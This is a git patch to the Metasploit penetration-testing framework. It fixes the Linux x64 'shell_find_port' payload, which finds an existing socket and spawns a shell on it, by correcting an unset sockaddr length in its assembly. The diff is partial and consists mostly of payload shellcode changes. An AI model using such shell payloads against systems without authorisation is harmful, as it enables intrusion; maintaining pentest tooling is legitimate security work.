From aaa017e9cdb73acb2b1218c0f9885d8a4cf8525a Mon Sep 17 00:00:00 2001 From: CCob Date: Sat, 1 Jun 2019 10:16:42 +0100 Subject: [PATCH] Fix issue where Linux x64 shell_find_port did not set the sockaddr_len value --- modules/payloads/singles/linux/x64/shell_find_port.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb index 96d99b55c0f4..52345fd36db7 100644 --- a/modules/payloads/singles/linux/x64/shell_find_port.rb +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -9,7 +9,7 @@ module MetasploitModule - CachedSize = 91 + CachedSize = 98 include Msf::Payload::Single include Msf::Payload::Linux @@ -29,16 +29,17 @@ def initialize(info = {}) { 'Offsets' => { - 'CPORT' => [ 32, 'n' ], + 'CPORT' => [ 39, 'n' ], }, 'Assembly' => %Q| xor rdi,rdi xor rbx,rbx - mov bl,0x14 + mov bl,0x18 sub rsp,rbx lea rdx,[rsp] - lea rsi,[rsp+4] + mov [rdx], 0x10 + lea rsi,[rsp+8] find_port: push 0x34 ; getpeername pop rax